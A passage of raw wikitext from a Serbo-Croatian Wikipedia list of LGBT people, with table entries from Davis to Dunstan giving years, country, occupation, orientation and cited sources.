Države|SAD]] | Aktivistkinja | L <ref>[http://www.discoverthenetworks.org/individualProfile.asp?indid=1303 Angela Davis at Discoverthenetworks.org]. Retrieved June 29, 2007.</ref> |- | [[Brad Davis (glumac)|Brad Davis]] | 1949-1991 | [[Sjedinjene Američke Države|SAD]] | Glumac | B <ref>[http://www.glbtq.com/arts/davis_b.html Brad Davis at GLBTQ.com] {{Webarchive|url=https://web.archive.org/web/20060304101050/http://www.glbtq.com/arts/davis_b.html |date=2006-03-04 }}. Retrieved June 30, 2007.</ref> |- | [[Evan Davis (novinar)|Evan Davis]] | 1962 | [[Ujedinjeno Kraljevstvo|UK]] | Novinar, ekonomista | G <ref>Cadwalladr, Carole, (November 6, 2005), [http://observer.guardian.co.uk/review/story/0,6903,1635181,00.html 'Think of me as a man of mystery'], ''The Observer''. Retrieved February 6, 2007.</ref> |- | [[Frederick W. Davis]] | 1880-1961 | [[Sjedinjene Američke Države|SAD]]-[[Meksiko]] | Art diler | G <ref>{{cite book |last=Ochsner |first=Jeffrey |title=Lionel H. Pries, Architect, Artist, Educator: From Arts and Crafts to Modern Architecture |url=https://archive.org/details/lionelhpriesarch0000ochs |pages= |year=2007 |publisher=University of Washington Press |location=Seattle and London |isbn=0295986980 }}</ref> |- | [[Madeline D. Davis]] | 1940 | [[Sjedinjene Američke Države|SAD]] | Aktivistkinja | L <ref>Kennedy & Davis (1993). ''Boots of Leather, Slippers of Gold: The History of a Lesbian Community'', New York: Routledge. {{ISBN|0-415902-93-2}}</ref> |- | [[Vaginal Davis]] | 1969 | [[Sjedinjene Američke Države|SAD]] | Umetnica | T <ref>José Muñoz, Disidentifications: Queers of Color and the Performance of Politics (Minneapolis: University of Minnesota Press, 1999) {{ISBN|0-8166-3015-1}}</ref> |- | [[Richard Deacon (glumac)|Richard Deacon]] | 1921-1984 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>Hadleigh, Boze, ''Hollywood Gays: Conversations with: Cary Grant, Liberace, Tony Perkins, Paul Lynde, Cesar Romero, Brad Davis, Randolph Scott, James Coco, William Haine'' (1996), pp.67-76.</ref> |- | [[Mercedes de Acosta]] | 1893-1968 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | L <ref>Schanke, Robert A (2004). That Furious Lesbian: The Story of Mercedes de Acosta. Southern Illinois University Press. {{ISBN|0-8093-2579-9}}.</ref> |- | [[Dean DeBlois]] | 1970 | [[Kanada]] | Reditelj, animator | G <ref>Steele, Bruce C. (July 9, 2002), [http://www.findarticles.com/p/articles/mi_m1589/is_2002_July_9/ai_88583438 Disney dude] {{Webarchive|url=https://web.archive.org/web/20080102140426/http://findarticles.com/p/articles/mi_m1589/is_2002_July_9/ai_88583438 |date=2008-01-02 }}, ''[[The Advocate]]''. Retrieved November 7, 2006.</ref> |- | [[Frank DeCaro]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>[http://www.frankdecaro.com./site/index.htm Official site biography] {{Webarchive|url=https://web.archive.org/web/20071011014913/http://www.frankdecaro.com/site/index.htm |date=2007-10-11 }}. Retrieved November 7, 2006.</ref> |- | [[Edgar de Evia]] | 1910-2003 | [[Sjedinjene Američke Države|SAD]] | Fotograf, pisac | G <ref>Kohen, Yael (September 4, 1999),[http://www.pub.umich.edu/daily/1999/apr/04-09-99/news/news5.html DeGeneres talks about coming out experience] {{Webarchive|url=https://web.archive.org/web/20000201140416/http://www.pub.umich.edu/daily/1999/apr/04-09-99/news/news5.html |date=2000-02-01 }}, ''Michigan Daily''.Retrieved November 7, 2006.</ref> |- | [[Ellen DeGeneres]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Komičarka, glumica, TV voditeljka | L <ref>The Michigan Daily News, [http://www.pub.umich.edu/daily/1999/apr/04-09-99/news/news5.html DeGeneres talks about coming out experience] {{Webarchive|url=https://web.archive.org/web/20000201140416/http://www.pub.umich.edu/daily/1999/apr/04-09-99/news/news5.html |date=2000-02-01 }}. Retrieved January 18, 2007.</ref> |- | [[Robin De Groot]] | ? | [[Kanada]] | Dizajner | G <ref>{{citation |title=Shop day, makeover day, Doris Day |first=Ryan |last=Fontaine |periodical=[[Xtra!]] |date=15. 09. 2005. |accessdate=24. 08. 2007. |url=http://www.xtra.ca/public/viewstory.aspx?AFF_TYPE=3&STORY_ID=924&PUB_TEMPLATE_ID=2 |archive-date=2007-09-28 |archive-url=https://web.archive.org/web/20070928011018/http://www.xtra.ca/public/viewstory.aspx?AFF_TYPE=3&STORY_ID=924&PUB_TEMPLATE_ID=2 |dead-url=yes }}</ref> |- | [[Andreas Deja]] | 1957 | [[Njemačka|Nemačka]] | Animator | G <ref>Christian Resource Centre, [http://www.nisbett.com/child-ent/truth_about_disney.htm The Truth about Disney] {{Webarchive|url=https://web.archive.org/web/20071213095246/http://www.nisbett.com/child-ent/truth_about_disney.htm |date=2007-12-13 }}. Retrieved November 8, 2006.</ref> |- | [[Bertrand Delanoë]] | 1950 | [[Francuska]] | Političar | G <ref>BBC (October 7, 2002), [http://news.bbc.co.uk/1/hi/world/europe/2305849.stm Psychiatric tests for anti-gay attacker]. Retrieved November 8, 2006.</ref> |- | [[Samuel R. Delany]] | 1942 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>[http://www.pseudopodium.org/repress/KLeslieSteiner-SamuelRDelany.html Short autobiography]. Retrieved November 8, 2006.</ref> |- | [[Lea DeLaria]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Komičarka, glumica, muzičarka | L <ref>[http://www.queertheory.com/histories/d/delaria_lea.htm Profile at Queertheory.com] {{Webarchive|url=https://web.archive.org/web/20070927224350/http://www.queertheory.com/histories/d/delaria_lea.htm |date=2007-09-27 }}. Retrieved November 10, 2006.</ref> |- | [[Mazo de la Roche]] | 1879-1961 | [[Kanada]] | Pisac | G <ref>"[http://andrejkoymasky.com/liv/fam/biod1/dela10.html Mazo de la Roche] {{Webarchive|url=https://web.archive.org/web/20071017223518/http://andrejkoymasky.com/liv/fam/biod1/dela10.html |date=2007-10-17 }}", AndrejKoymasky.com. Retrieved on [[2007]] [[October 26]].</ref> |- | [[David Del Tredici]] | 1937 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | G <ref>[http://www.boosey.com/pages/cr/composer/composer_main.asp?composerid=2854&langid=1&ttype=BIOGRAPHY&ttitle=Biography Biography at Boosey & Hawkes, David Del Tredici's publisher], Boosey.com. Retrieved November 18, 2006.</ref> |- | [[Guilherme de Melo]] | 1931 | [[Portugal]] | Novinar, pisac, aktivista | G <ref>McGovern, Timothy (July, 2006). "Expressing Desire, Expressing Death: Antón Lopo's Pronomes and Queer Galician Poetry". ''Journal of Spanish Cultural Studies'' '''7''' (2): 135-153(19). [http://dx.doi.org/10.1080/14636200600811110 DOI:10.1080/14636200600811110].</ref> |- | [[Barbara Deming]] | 1917-1984 | [[Sjedinjene Američke Države|SAD]] | Aktivistkinja | L <ref>{{Cite web |title=Deming, Barbara, 1917- . Papers, 1908-1985: A Finding Aid |url=http://oasis.harvard.edu:10080/oasis/deliver/~sch00057 |access-date=2008-04-23 |archive-date=2006-09-01 |archive-url=https://web.archive.org/web/20060901143051/http://oasis.harvard.edu:10080/oasis/deliver/~sch00057 |dead-url=yes }}</ref> |- | [[Rosemary Dempsey]] | ? | [[Sjedinjene Američke Države|SAD]] | Advokatkinja, aktivistkinja | L <ref>{{citation |title=Lesbian activist seeks presidency of NOW |first=Eartha |last=Melzer |url=http://www.washblade.com/2005/6-24/news/national/lesbian.cfm |periodical=[[Washington Blade]] |date=[[June 24]], [[2005]] |accessdate=08. 11. 2007. |archive-date=2007-09-30 |archive-url=https://web.archive.org/web/20070930185048/http://www.washblade.com/2005/6-24/news/national/lesbian.cfm |dead-url=yes }}</ref> |- | [[Shawna Dempsey i Lorri Millan|Shawna Dempsey]] | ? | [[Kanada]] | Spisateljica i izvođačica | L <ref>{{citation |title=Interview with Shawna Dempsey and Lorri Millan |periodical=[[The Danforth Review]] |url=http://www.danforthreview.com/features/interviews/dempsey_millan.htm |first=Anne |last=Borden |date=February 2003 |accessdate=25. 03. 2008. |archive-date=2009-04-29 |archive-url=https://web.archive.org/web/20090429022532/http://www.danforthreview.com/features/interviews/dempsey_millan.htm |dead-url=yes }}</ref> |- | [[Robert De Niro, Sr.]] | 1922-1993 | [[Sjedinjene Američke Države|SAD]] | Slikar | B <ref>Baxter, John (2003), ''De Niro: A Biography'', HarperCollins, {{ISBN|0006532306}}</ref> |- | [[Robert Denning]] | 1927-2005 | [[Sjedinjene Američke Države|SAD]] | Interijerista | G <ref>"Robert Denning Dies at 78; Champion of Lavish Décor", by Mitchell Owens, [[September 4]], [[2005]], [[The New York Times|New York Times]] obituary.</ref> |- | [[Denice Denton]] | 1959-2006 | [[Sjedinjene Američke Države|SAD]] | Intelektualka | L <ref>Peterson, Mary Ellen (December 16, 2004), [http://www.gaywired.com/article.cfm?section=9&id=5034 Lesbian Named UC Chancellor Lesbian Named UC Chancellor] {{Webarchive|url=https://web.archive.org/web/20071029033131/http://www.gaywired.com/article.cfm?section=9&id=5034 |date=2007-10-29 }}, Gaywired.com. Retrieved November 8, 2006.</ref> |- | [[Nick Denton]] | 1967 | [[Ujedinjeno Kraljevstvo|UK]] | Novinar, bloger | G <ref>Levy, Stephen (June 2004), [http://www.wired.com/wired/archive/12.06/blog.html How Can I Sex Up This Blog Business?], Wired.com. Retrieved November 18, 2006.</ref> |- | [[Portia DeGeneres|Portia de Rossi]] | 1973 | [[Australija]] | Glumica | L <ref>Kort, Michele [http://www.advocate.com/currentstory1_w_ektid20037.asp "Portia heart & soul"] [[The Advocate]] September 13, 2005.</ref> |- | [[Felipa de Souza]] | 1556-1600 | [[Brazil]] | Aktivistkinja | L <ref>Luiz Mott: ''O Lesbianismo no Brasil'', Mercado Aberto (Brazil), 1987. {{ISBN|85-280-0022-2}}.</ref> |- | [[Tony De Vit]] | 1957-1998 | [[Ujedinjeno Kraljevstvo|UK]] | [[Disk jockey|DJ]] | G <ref>{{cite web |url=http://www.tranzfusion.com/profiles/showprofile.asp?id=1441 |title=Profiles: Tony De Vit |accessdate=19. 07. 2007. |work=[[Tranzfusion]] |archive-date=2011-07-17 |archive-url=https://web.archive.org/web/20110717090743/http://www.tranzfusion.com/profiles/showprofile.asp?id=1441 |dead-url=yes }}</ref> |- | [[Abby DeWald]] | ? | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref name="Ditty Bop"/> |- | [[Elsie de Wolfe]] | 1865-1950 | [[Sjedinjene Američke Države|SAD]] | Dizajerka interijera | B <ref>Aldrich,, Robert, Garry Wotherspoon (2002). Who's Who in Gay and Lesbian History. New York: Routledge. {{ISBN|0-415-15983-0}}. p. 494 ("famous lesbian relationship... openly received...")</ref> |- | [[Sergei Diaghilev]] | 1872-1929 | [[Rusija]] | Vođa baletske trupe | G <ref>Buckle, Richard, ''Diaghilev'', Weidenfeld & Nicolson, 1979.</ref> |- | [[David Diamond (kompozitor)|David Diamond]] | 1915-2005 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | G <ref>Gay.com (June 15, 2005), [http://www.gay.com/news/article.html?coll=news_articles&sernum=2005/06/15/3&page=2 Composer David Diamond dies at age 89 (page 2 of2)]. Retrieved November 18, 2006.</ref> |- | [[Guillermo Díaz]] | 1975 | [[Sjedinjene Američke Države|SAD]] | Glumac | G <ref>[http://myspace.com/guillermodiaz Official Myspace of Guillermo Díaz]. Retrieved November 8, 2006.</ref> |- | [[Andy Dick]] | 1965 | [[Sjedinjene Američke Države|SAD]] | Glumac, komičar | B <ref>Surovell, Hariette (September 22, 1998), [https://web.archive.org/web/20000415152555/http://www.salon.com/ent/int/1998/09/22int.html You don't know Dick.], salon.com. Retrieved November 8, 2006.</ref> |- | [[Emily Dickinson]] | 1830-1886 | [[Sjedinjene Američke Države|SAD]] | Pesnikinja | B <ref>[http://www.glbtq.com/literature/dickinson_e,3.html Emily Dickinson at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20080513165642/http://www.glbtq.com/literature/dickinson_e,3.html |date=2008-05-13 }}. Retrieved November 17, 2006.</ref> |- | [[Janice Dickinson]] | 1955 | [[Sjedinjene Američke Države|SAD]] | Supermodel | B <ref>{{cite web | url=http://www.nydailynews.com/entertainment/story/194022p-167656c.html | title=Dickinson, on the covers - and under them | author=Drew MacKenzie | publisher=Daily News | accessdate=September 24 | accessyear=2006 | archive-date=2004-05-28 | archive-url=https://web.archive.org/web/20040528121419/http://www.nydailynews.com/entertainment/story/194022p-167656c.html | dead-url=yes }}</ref> |- | [[Marlene Dietrich]] | 1901-1992 | [[Njemačka|Nemačka]] | Glumac | B <ref>McLellan, Diana (2001). The Girls : Sappho Goes to Hollywood. St. Martin's Griffin. {{ISBN|0-312-28320-2}}.</ref> |- | [[Ani DiFranco]] | 1970 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | B <ref>[http://www.gotpoetry.com/News/article/sid=119.html Biography of Ani DiFranco], gotpoetry.com. Retrieved November 8, 2006.</ref> |- | [[Giovanni di Giovanni]] | 1350-1365 | [[Italija]] | Žrtva zločina iz mržnje | G <ref>Meyer, Michael J (2000), ''Literature and Homosexuality'', Rodopi, {{ISBN|904200519X}}.</ref> |- | [[Christian Dior]] | 1905-1957 | [[Francuska]] | Modni dizajner | G <ref>{{citation |title=The Last Temptation Of Christian |url=http://query.nytimes.com/gst/fullpage.html?res=9F0DEFDD103AF93BA2575BC0A9649C8B63 |first=Tim |last=Blanks |date=[[18 August]] [[2002]] |accessdate = 07. 03. 2008. |periodical=[[The New York Times]] }}</ref> |- | [[Dirk Dirksen]] | 1937-2006 | [[Sjedinjene Američke Države|SAD]] | Muzički promoter | G <ref>{{citation |title=Dirk Dirksen – 'pope of punk' amused, insulted S.F. crowds |url=http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2006/11/22/BAGCJMHQ8B1.DTL |first=Joel |last=Selvin |periodical=[[San Francisco Chronicle]] |date=[[November 22]], [[2006]] |accessdate=13. 03. 2008. |archive-date=2011-02-03 |archive-url=https://web.archive.org/web/20110203214628/http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2006/11/22/BAGCJMHQ8B1.DTL }}</ref> |- | [[Elio Di Rupo]] | 1951 | [[Belgija]] | Političar | G <ref>Branegan, Jay (December 2, 1996), [http://time-proxy.yaga.com/time/magazine/article/0,9171,985620,00.html THE NIGHTMARE GOES ON]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ''[[Time (časopis)|Time]]''. Retrieved November 10, 2006.</ref> |- | [[JD Disalvatore]] | ? | [[Sjedinjene Američke Države|SAD]] | Reditelj, producent | G <ref>{{cite web |title=J.D. Disalvatore |work=[[The Advocate]] |date = 29. 08. 2006. |url=http://findarticles.com/p/articles/mi_m1589/is_969/ai_n16703393 |first=Lydia |last=Marcus |accessdate = 16. 08. 2007.}}</ref> |- | [[Thomas M. Disch]] | 1940 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref>{{citation |title=Interview: Thomas M. Disch |first=David |last=Horwich |url=http://www.strangehorizons.com/2001/20010730/interview.shtml |periodical=[[Strange Horizons]] |date=[[30 July]] [[2001]] |accessdate=04. 11. 2007. |archivedate=2007-11-03 |archiveurl=https://web.archive.org/web/20071103191237/http://www.strangehorizons.com/2001/20010730/interview.shtml |deadurl=yes }}</ref> |- | [[Beth Ditto]] | 1981 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>BBC November 22 2006 [http://news.bbc.co.uk/1/hi/entertainment/6172794.stm] Retrieved November 22, 2006.</ref> |- | [[Boris Dittrich]] | 1955 | [[Nizozemska|Holandija]] | Političar, LGBT aktivista | G <ref>CNN.com (January 1, 2000), [http://transcripts.cnn.com/TRANSCRIPTS/0001/01/se.41.html Millennium 2000: Gay Culture] {{Webarchive|url=https://web.archive.org/web/20091031074011/http://transcripts.cnn.com/TRANSCRIPTS/0001/01/se.41.html |date=2009-10-31 }}. Retrieved January 24, 2007.</ref> |- | [[Divine (Glen Milstead)|Divine]] | 1945-1988 | [[Sjedinjene Američke Države|SAD]] | Glumac, [[drag queen]] | G, T <ref>Milstead, Frances; Heffernan, Kevin; and Yeager, Steve (2001). My Son Divine. Los Angeles: Alyson Books. {{ISBN|1-55583-594-5}}</ref> |- | [[Alix Dobkin]] | 1940 | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>[http://www.queermusicheritage.us/may2002.html Profile at Queermusicheritage.us]. Retrieved November 18, 2006.</ref> |- | [[Jess Dobkin]] | 1970 | [[Kanada]] | Izvođačica | L <ref>{{citation |title=Performance art: The Lactation Station |first=Sandra |last=Alland |url=http://www.xtra.ca/public/viewstory.aspx?AFF_TYPE=3&STORY_ID=1844&PUB_TEMPLATE_ID=2 |periodical=[[Xtra!]] |date=[[July 6]], [[2006]] |accessdate=20. 03. 2008. |archive-date=2007-09-28 |archive-url=https://web.archive.org/web/20070928011156/http://www.xtra.ca/public/viewstory.aspx?AFF_TYPE=3&STORY_ID=1844&PUB_TEMPLATE_ID=2 |dead-url=yes }}</ref> |- | [[Jody Dobrowski]] | 1981-2005 | [[Ujedinjeno Kraljevstvo|UK]] | Žrtva ubistva | L <ref>Grove, Valerie, (October 22, 2005), [http://www.timesonline.co.uk/tol/news/uk/article581284.ece Latest victim of a homophobia that London thought it had left behind] {{Webarchive|url=https://web.archive.org/web/20110523035355/http://www.timesonline.co.uk/tol/news/uk/article581284.ece |date=2011-05-23 }}, ''The Times''. Retrieved June 29, 2007.</ref> |- | [[Betty Dodson]] | 1929 | [[Sjedinjene Američke Države|SAD]] | Aktivistkinja | B <ref>Dodson, Betty (June 26 2005), [http://www.bettydodson.com/quitequeer3.htm We Are All Quite Queer], Bettydodson.com. Retrieved November 17, 2006.</ref> |- | [[Owen Dodson]] | 1914-1983 | [[Sjedinjene Američke Države|SAD]] | Pesnik, pisac | G <ref>[http://www.coas.howard.edu/english/legends-dodson.html Tribute by Howard University English Department] {{Webarchive|url=https://web.archive.org/web/20071028013535/http://www.coas.howard.edu/english/legends-dodson.html |date=2007-10-28 }}. Retrieved on [[2007-06-02]].</ref> |- | [[Pete Doherty]] | 1979 | [[Ujedinjeno Kraljevstvo|UK]] | Muzičar | B <ref>{{Cite web |url=http://www.mirror.co.uk/news/tm_objectid%3D15434908%26method%3Dfull%26siteid%3D94762%26headline%3Dex-lover--doherty-s-bisexual-name_page.html |title=Archive copy |access-date=2008-04-23 |archive-date=2008-02-06 |archive-url=https://web.archive.org/web/20080206104000/http://www.mirror.co.uk/news/tm_objectid%3D15434908%26method%3Dfull%26siteid%3D94762%26headline%3Dex-lover--doherty-s-bisexual-name_page.html |url-status=dead }}</ref> |- | [[Terry Dolan (političar)|Terry Dolan]] | 1950-1986 | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>Rich, Frank ([[2005-05-15]]), [http://www.americablog.com/2005/05/frank-rich-just-how-gay-is-right.html "Just How Gay is the Right?"] {{Webarchive|url=https://web.archive.org/web/20070928015137/http://www.americablog.com/2005/05/frank-rich-just-how-gay-is-right.html |date=2007-09-28 }}, ''[[The New York Times]]''. Retrieved on [[2007-09-06]].</ref> |- | [[Domenico Dolce]] ( i [[Stefano Gabbana]]) | 1958 | [[Italija]] | Modni dizajner, [[Dolce & Gabbana]] | G <ref>{{cite web |url=http://observer.guardian.co.uk/focus/story/0,6903,1418537,00.html |title=Mixing business and pleasure |date = 20. 02. 2005. |accessdate = 27. 07. 2007. |last=Vernon |first=Polly }}</ref> |- | [[Ann Donahue]] | ? | [[Sjedinjene Američke Države|SAD]] | TV spisateljica | L <ref>[http://www.advocate.com/news_detail_ektid10543.asp CSI's Ann Donahue signs on for four more seasons]. [[The Advocate]] ([[2003-09-06]]). Retrieved on [[2007-06-28]].</ref> |- | [[Stephen Donaldson (aktivista)|Stephen Donaldson]] | 1946-1996 | [[Sjedinjene Američke Države|SAD]] | Aktivista | G <ref>[http://www.columbia.edu/cu/cqa/ Columbia Queer Alliance History]. Retrieved November 8, 2006.</ref> |- | [[Emma Donoghue]] | 1969 | [[Irska]] | Spisateljica | L <ref>Rachel Wingfield, 'Lesbian Writers in the Mainstream: Sarah Maitland, Jeanette Winterson and Emma Donoghue' in BEYOND SEX AND ROMANCE: THE POLITICS OF CONTEMPORARY LESBIAN FICTION, ed. by Elaine Hutton (London: Women's Press, 1998)</ref> |- | [[Amanda Donohoe]] | 1962 | [[Ujedinjeno Kraljevstvo|UK]] | Glumica | B <ref>[http://www.wheregirlskissgirls.com/lesbian-celebrities.asp Quote at Wheregirlskissgirls.com] {{Webarchive|url=https://web.archive.org/web/20080820112859/http://www.wheregirlskissgirls.com/lesbian-celebrities.asp |date=2008-08-20 }}. Retrieved November 17, 2006.</ref> |- | [[Thomas Anthony Dooley]] | 1927-1961 | [[Sjedinjene Američke Države|SAD]] | Humanitarac | G <ref>Shilts, Randy, Conduct unbecoming : lesbians and gays in the U.S. military : Vietnam to the Persian Gulf (New York : St. Martin's Press, 1993) {{ISBN|0-312-09261-X}}</ref> |- | [[Heinz Dormer]] | 1912 | [[Njemačka|Nemačka]] | Omladinski vođa, uhapšen od nacista | G <ref>[http://www.pink-triangle.org/ptps/dormer.html Biography at Pink-Triangle.org]. Retrieved December 7, 2006.</ref> |- | [[Mark Doty]] | 1953 | [[Sjedinjene Američke Države|SAD]] | Pesnik | G <ref>{{citation |last=Hennessy |first=Christopher Matthew |title=Doty, Mark |url=http://www.glbtq.com/literature/doty_m.html |periodical=[[glbtq.com]] |year=2004 |accessdate=28. 11. 2007. |archive-date=2007-12-01 |archive-url=https://web.archive.org/web/20071201172529/http://www.glbtq.com/literature/doty_m.html |dead-url=yes }}</ref> |- | [[Lord Alfred Douglas]] | 1870-1945 | [[Ujedinjeno Kraljevstvo|UK]] | Pesnik, ljubavnik [[Oscar Wilde|Oscara Wildea]] | B <ref>[http://www.glbtq.com/literature/douglas_a.html Lord Alfred Douglas on Glbtq.com] {{Webarchive|url=https://archive.today/20120731154227/http://www.glbtq.com/literature/douglas_a.html |date=2012-07-31 }}. Retrieved November 10, 2006.</ref> |- | [[Kyan Douglas]] | 1970 | [[Sjedinjene Američke Države|SAD]] | TV voditelj | G <ref name="engagement">{{cite web |title=The Philippine Daily Inquirer |work=Kyan Douglas |url=http://www.tszuj-it.com/articles/kyan/manila06.html |accessdate=June 23 |accessyear=2006 |archive-date=2016-01-22 |archive-url=https://web.archive.org/web/20160122010858/http://www.tszuj-it.com/articles/kyan/manila06.html |url-status=dead }}</ref> |- | [[Michelle Douglas]] | 1963 | [[Kanada]] | Vojnikinja, LGBT aktivistkinja | L <ref>[http://www.clga.ca/About/NPC/DouglasM-076.htm Biography at Canadian Lesbian and Gay Archives] {{Webarchive|url=https://web.archive.org/web/20070927111649/http://www.clga.ca/About/NPC/DouglasM-076.htm |date=2007-09-27 }}. Retrieved November 20, 2006.</ref> |- | [[Orville Lloyd Douglas]] | 1976 | [[Kanada]] | Pisac | G <ref>Grubisic, Brett Josef ([[2005-07-21]]), "[http://www.nhregister.com/site/news.cfm?newsid=17411726&BRD=1281&PAG=461&dept_id=332704&rfi=6 Black, gay and angry] {{Webarchive|url=https://web.archive.org/web/20070930184800/http://www.nhregister.com/site/news.cfm?newsid=17411726&BRD=1281&PAG=461&dept_id=332704&rfi=6 |date=2007-09-30 }}", ''[[Xtra! West]]''. Retrieved on [[2007-08-24]].</ref> |- | [[Gregory Douglass]] | 1980 | [[Sjedinjene Američke Države|SAD]] | Muzičar | G <ref>{{citation |title=Gregory Douglass |first=Barry |last=Walters |accessdate = 25. 01. 2008. |url=http://www.out.com/review_detail.asp?t=music&id=13517 |periodical=[[Out.com]] }}</ref> |- | [[Brian Dowling]] | 1978 | [[Irska]] | TV voditelj | G <ref>BBC (July 28, 2001), [http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/1462142.stm Brian plans future after Big Brother]. Retrieved November 8, 2006.</ref> |- | [[David Drake (pisac)|David Drake]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Pisac | G <ref name="Their Coming Out Stories 1996"/> |- | [[Donna Dresch]] | ? | [[Sjedinjene Američke Države|SAD]] | Muzičarka | L <ref>McDonnell, Evelyn; Powers, Ann, editors: Rock She Wrote, Delta, N.Y.C., US, {{ISBN|0-385-31250-4}} (1995)</ref> |- | [[James Dreyfus]] | 1968 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | G <ref>Rainbownetwork.com (February 18, 2005), [http://observer.guardian.co.uk/magazine/story/0%2C11913%2C865626%2C00.html Website For Young Gay Men]. Retrieved February 6, 2007.</ref> |- | [[Tom Driberg|Tom Driberg, Baron Bradwell]] | 1905-1976 | [[Ujedinjeno Kraljevstvo|UK]] | Političar, novinar | G <ref>Francis Wheen (1990) The Soul of Indiscretion: Tom Driberg, Poet, Philanderer, Legislator and Outlaw - His Life and Indiscretions</ref> |- | [[Drubskin]] | ? | [[Sjedinjene Američke Države|SAD]] | Umetnik | G <ref>[http://www.suspectthoughts.com/drub.htm Interview With Drub on Suspect Thoughts - 2001] ''(Note: Extremely adult content)''. Retrieved June 29, 2007.</ref> |- | [[Malka Drucker]] | 1945 | [[Sjedinjene Američke Države|SAD]] | Rabin, spisateljica | L <ref>Honigman, Ana Finel, "[http://www.artnet.com/magazine/index/honigman/honigman11-26-03.asp Daughter Dearest]", ''Artnet''. Retrieved on [[2007]] [[October 8]].</ref> |- | [[Thomas Duane]] | 1955 | [[Sjedinjene Američke Države|SAD]] | Političar | G <ref>{{cite news | first=Degen | last=Pener | title=A Gay City Councilman Wants to Tell His Story | date = 06. 09. 1992. | url =http://query.nytimes.com/gst/fullpage.html?res=9E0CE7D81239F935A3575AC0A964958260 | work =New York Times | title = EGOS & IDS; A Gay City Councilman Wants to Tell His Story | accessdate = 24. 02. 2007.}}</ref> |- | [[Martin Duberman]] | 1932 | [[Sjedinjene Američke Države|SAD]] | Istoričar | G <ref>Wisconsin Press, [http://www.wisc.edu/wisconsinpress/books/0509.htm Synopsis of Midlife Queer - Autobiography of a Decade, 1971-1981] {{Webarchive|url=https://web.archive.org/web/20071029072319/http://www.wisc.edu/wisconsinpress/books/0509.htm |date=2007-10-29 }}. Retrieved November 18, 2006.</ref> |- | [[Sandi Simcha DuBowski]] | 1970 | [[Sjedinjene Američke Države|SAD]] | Reditelj | G <ref>[http://www.glbtq.com/arts/video_art.html Video Art] {{Webarchive|url=https://web.archive.org/web/20071011125205/http://www.glbtq.com/arts/video_art.html |date=2007-10-11 }}. ''gbtq.com''. Retrieved on [[2007-04-15]].</ref> |- | [[Carol Ann Duffy]] | 1955 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | L <ref>Brooks, Richard (March 28, 1999), "Laureate favourite tells of lesbian love", ''The Sunday Times'', page 5.</ref> |- | [[Maureen Duffy]] | 1933 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | L <ref name="The Pink List 2005"/> |- | [[Bonnie Dumanis]] | 1951 | [[Sjedinjene Američke Države|SAD]] | Javna tužiteljka | L <ref>{{cite web |title= In a First, a Lesbian Is Elected District Attorney in San Diego |first=John M. |last=Broder |work=[[The New York Times|New York Times]] |date = 13. 11. 2002. |url=http://query.nytimes.com/gst/fullpage.html?sec=health&res=9507E1D91E31F930A25752C1A9649C8B63 |accessdate = 06. 08. 2007.}}</ref> |- | [[Daphne du Maurier]] | 1907-1989 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | B <ref>Hoggard, Liz (28 May 2006),[https://web.archive.org/web/20060925055309/http://enjoyment.independent.co.uk/film/news/article620636.ece Literary greats: Rebecca - Love, paranoia, obsession], ''The Independent''. Retrieved November 17, 2006.</ref> |- | [[Alice Dunbar-Nelson]] | 1875-1935 | [[Sjedinjene Američke Države|SAD]] | Spisateljica, novinarka, aktivistkinja | B <ref>[http://www.glbtq.com/literature/harlem_renaissance,2.html The Harlem Renaissance at GLBTQ.com] {{Webarchive|url=https://web.archive.org/web/20071011204518/http://www.glbtq.com/literature/harlem_renaissance%2C2.html |date=2007-10-11 }}. Retrieved March 22, 2007.</ref> |- | [[Alan Duncan]] | 1957 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | G <ref>BBC (July 29, 2002), [http://news.bbc.co.uk/1/hi/uk_politics/2157921.stm Senior Tories back gay MP]. Retrieved November 8, 2006.</ref> |- | [[Isadora Duncan]] | 1887-1927 | [[Sjedinjene Američke Države|SAD]] | Igračica | B <ref>[http://www.glbtq.com/arts/duncan_i.html Isadora Duncan at Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20131227031748/http://www.glbtq.com/arts/duncan_i.html |date=2013-12-27 }}. Retrieved November 17, 2006.</ref> |- | [[Roberto Duncanson]] | 1987-2007 | [[Sjedinjene Američke Države|SAD]] | Žrtva ubistva | G <ref>{{cite news |title=Murder of gay man considered hate crime |date=15. 06. 2007. |publisher=The Associated Press |url=http://www.nydailynews.com/news/crime_file/2007/06/14/2007-06-14_murder_of_gay_man_considered_hate_crime.html |work=[[The New York Daily News]] |accessdate=18. 08. 2007. |archive-date=2007-11-01 |archive-url=https://web.archive.org/web/20071101092433/http://www.nydailynews.com/news/crime_file/2007/06/14/2007-06-14_murder_of_gay_man_considered_hate_crime.html |dead-url=yes }}</ref> |- | [[Ian Campbell Dunn]] | 1943-1998 | [[Ujedinjeno Kraljevstvo|UK]] | LGBT aktivista | G <ref>Scotsgay.com (1998), [http://www.scotsgay.co.uk/io20a/obit.html Ian Campbell Dunn 1st May 1943 - 10th March 1998] {{Webarchive|url=https://web.archive.org/web/20170315224225/http://www.scotsgay.co.uk/io20a/obit.html |date=2017-03-15 }}. Retrieved February 6, 2007.</ref> |- | [[Don Dunstan]] | 